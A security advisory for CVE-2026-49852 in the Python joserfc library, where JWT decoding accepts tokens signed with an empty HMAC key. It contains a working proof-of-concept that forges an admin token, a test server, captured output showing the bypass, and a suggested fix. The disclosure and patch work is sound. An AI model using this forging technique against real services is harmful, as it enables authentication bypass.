PT-2026-55459 · Pypi · Joserfc

Published

2026-07-02

·

Updated

2026-07-02

·

CVE-2026-49852

CVSS v4.0

8.7

High

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in [src/joserfc/ rfc7518/jws algs.py:62-70](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/ rfc7518/jws algs.py#L62-L70) feed whatever OctKey.get op key(...) produced into hmac.new(...), and OctKey.import key only emits a SecurityWarning when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns "", or a Hash.new("")-style default verifies attacker tokens forged with HMAC(key=b"", signing input) because the attacker trivially reproduces the same digest with no secret knowledge.
This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an ensure valid key! precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated authlib.jose module by the same maintainer; filing this advisory against joserfc alongside a separate authlib advisory because the codebases are independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to "" or None. Common patterns that produce this state in production:
  • OctKey.import key(os.environ.get("JWT SECRET", ""))
  • A key finder callable that returns "" / None for an unknown kid
  • Default values like os.getenv("SECRET") or "", cfg.get("secret", "")
  • Database / Redis row lookup that returns "" for a missing row

Vulnerable code

[src/joserfc/ rfc7518/jws algs.py:43-70](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/ rfc7518/jws algs.py#L43-L70):
python
class HMACAlgorithm(JWSAlgModel):
  SHA256 = hashlib.sha256
  SHA384 = hashlib.sha384
  SHA512 = hashlib.sha512

  def  init (self, sha type, recommended=False):
    self.name = f"HS{sha type}"
    self.description = f"HMAC using SHA-{sha type}"
    self.recommended = recommended
    self.hash alg = getattr(self, f"SHA{sha type}")
    self.algorithm security = sha type

  def sign(self, msg: bytes, key: OctKey) -> bytes:
    op key = key.get op key("sign")
    return hmac.new(op key, msg, self.hash alg).digest()

  def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
    op key = key.get op key("verify")
    v sig = hmac.new(op key, msg, self.hash alg).digest()
    return hmac.compare digest(sig, v sig)
[src/joserfc/ rfc7518/oct key.py:52-63](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/ rfc7518/oct key.py#L52-L63):
python
@classmethod
def import key(cls, value, parameters=None, password=None) -> "OctKey":
  key: OctKey = super(OctKey, cls).import key(value, parameters, password)
  if len(key.raw value) < 14:
    # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
    warnings.warn("Key size should be >= 112 bits", SecurityWarning)
  return key
The < 14 check only warns; len(key.raw value) == 0 falls through and is returned to the caller. HMACAlgorithm.verify then calls hmac.compare digest(sig, hmac.new(b"", signing input, sha256).digest()), and Python's hmac.new(b"", ...) accepts the empty key.
Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:
ruby
def ensure valid key!(key)
 raise verify error!('HMAC key expected to be a String') unless key.is a?(String)
 raise verify error!('HMAC key cannot be empty') if key.empty?
end
invoked from both sign(signing key:) and verify(verification key:). PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare key raises InvalidKeyError("HMAC key must not be empty.") for len(key bytes) == 0). firebase/php-jwt rejects empty material in Key. construct. jjwt enforces a 256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the strongest existing length-warning logic but stops at < 14 bytes warn rather than == 0 reject.

How an empty JWT SECRET reaches hmac.new

  1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"]) where key = OctKey.import key("") (or OctKey.import key(b""), or any custom path that yields an OctKey whose raw value is b"").
  2. decode (src/joserfc/jwt.py:86-117) calls decode jws(...)deserialize compact(value, key, algorithms, registry).
  3. deserialize compact (src/joserfc/jws.py) dispatches to HMACAlgorithm.verify(signing input, signature, key).
  4. verify calls key.get op key("verify") → returns b"".
  5. hmac.new(b"", signing input, sha256).digest() is computed; the attacker computed exactly that digest with the same empty key, so hmac.compare digest returns True and decode succeeds.
No upstream nil-check, no length check, no schema rejection. The path is reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):
python
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
  "sub": "attacker", "admin": True,
  "iat": now, "exp": now + 600,
}).encode())
signing input = header + b"." + payload
sig = hmac.new(b"", signing input, hashlib.sha256).digest()
forged = signing input + b"." + b64url(sig)
print(forged.decode())
Server harness:
python
# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple server import make server

def app(environ, start response):
  auth = environ.get("HTTP AUTHORIZATION", "")
  token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
  key = OctKey.import key(os.environ.get("JWT SECRET", "")) # default = ""
  try:
    tok = jwt.decode(token, key, algorithms=["HS256"])
    c = tok.claims
    body = ("OK: sub=%r admin=%r
" % (c.get("sub"), c.get("admin"))).encode()
    start response("200 OK", [("Content-Type", "text/plain")])
    return [body]
  except Exception as e:
    start response("401 Unauthorized", [("Content-Type", "text/plain")])
    return [("DENY: %s
" % e).encode()]

make server("127.0.0.1", 8383, app).serve forever()

End-to-end reproduction (against pip install joserfc==1.6.7)

bash
# 1. Boot the WSGI server. JWT SECRET unset to model the misconfigured-secret
#  state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &  # listens on :8383

# 2. Run the attacker
./venv/bin/python attacker.py
Captured run output (canonical pre-fix run, joserfc 1.6.7, poc-attacker-empty-20260523-150949.log):
forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True
Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):
forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad signature:
Interpretation:
ConfigurationObservedExpected
JWT SECRET unset (== "")HTTP 200, admin=True (verified)HTTP 401
JWT SECRET = 256-bit valueHTTP 401, BadSignatureErrorHTTP 401
The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.
Fix verification: with the suggested empty-key reject wired into HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects the same forged token with ValueError: HMAC key must not be empty.

Impact

  • Complete authentication bypass on any service whose key finder resolves to "" / None (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub, admin, scopes, audience, expiry).
  • The misconfiguration that triggers the bug is silent: the server does not fail to boot, joserfc emits a single SecurityWarning ("Key size should be >= 112 bits") at OctKey.import key time and then proceeds.
  • Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.

Suggested fix

Upgrade the existing < 14 bytes warning in OctKey.import key to a hard reject at len(key.raw value) == 0, plus a defence-in-depth check in HMACAlgorithm.sign and HMACAlgorithm.verify after key.get op key(...):
python
# src/joserfc/ rfc7518/oct key.py
@classmethod
def import key(cls, value, parameters=None, password=None) -> "OctKey":
  key: OctKey = super(OctKey, cls).import key(value, parameters, password)
  if not key.raw value:
    raise ValueError("oct key material must not be empty")
  if len(key.raw value) < 14:
    warnings.warn("Key size should be >= 112 bits", SecurityWarning)
  return key

# src/joserfc/ rfc7518/jws algs.py
class HMACAlgorithm(JWSAlgModel):
  ...
  def sign(self, msg: bytes, key: OctKey) -> bytes:
    op key = key.get op key("sign")
    if not op key:
      raise ValueError("HMAC key must not be empty")
    return hmac.new(op key, msg, self.hash alg).digest()

  def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
    op key = key.get op key("verify")
    if not op key:
      raise ValueError("HMAC key must not be empty")
    v sig = hmac.new(op key, msg, self.hash alg).digest()
    return hmac.compare digest(sig, v sig)
The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in prepare key, plus the runtime length checks the underlying hmac primitive does not perform).

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch fix/hmac-reject-empty-key, base main. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

Fix

Inadequate Encryption Strength

Improper Authentication

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-49852
GHSA-GG9X-QCX2-XMRH

Affected Products

Joserfc